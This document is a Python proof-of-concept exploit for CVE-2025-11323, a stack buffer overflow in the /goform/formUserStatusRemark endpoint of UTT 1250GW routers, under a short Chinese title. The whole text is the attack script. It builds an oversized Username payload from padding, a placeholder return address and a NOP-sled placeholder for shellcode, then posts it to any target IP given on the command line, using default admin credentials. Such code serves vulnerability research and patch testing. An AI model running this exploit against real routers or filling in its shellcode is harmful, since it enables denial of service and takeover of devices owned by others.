CVE-2025-11323：UTT 1250GW路由器缓冲区溢出漏洞

# CVE-2025-11323 - UTT 1250GW Buffer Overflow PoC # Vulnerability: Stack-based buffer overflow via strcpy in /goform/formUserStatusRemark # Affected: UTT 1250GW up to v2v3.2.2-200710 import requests import sys TARGET_URL = "http://{target}/goform/formUserStatusRemark" USERNAME = "admin" PASSWORD = "admin" # Buffer overflow payload - oversized Username parameter # Adjust offset based on target architecture (typically MIPS for routers) BUFFER_SIZE = 1024 OFFSET = 256 # Offset to return address # Shellcode or ROP chain placeholder (architecture dependent) # For demonstration purposes - actual exploit requires target-specific shellcode shellcode = b"\x90" * 100 # NOP sled placeholder def build_payload(): """Build buffer overflow payload for formUserStatusRemark endpoint""" junk = b"A" * OFFSET # Return address placeholder - needs to be adjusted for actual exploitation ret_address = b"\x41\x41\x41\x41" padding = b"C" * (BUFFER_SIZE - OFFSET - len(ret_address) - len(shellcode)) payload = junk + ret_address + shellcode + padding return payload def exploit(target_ip): """Execute the buffer overflow exploit""" session = requests.Session() url = TARGET_URL.format(target=target_ip) # Crafted POST request with oversized Username parameter data = { "Username": build_payload().decode('latin-1'), "StatusRemark": "test" } try: response = session.post(url, data=data, timeout=10) print(f"[*] Exploit sent to {target_ip}") print(f"[*] Response status: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) exploit(sys.argv[1])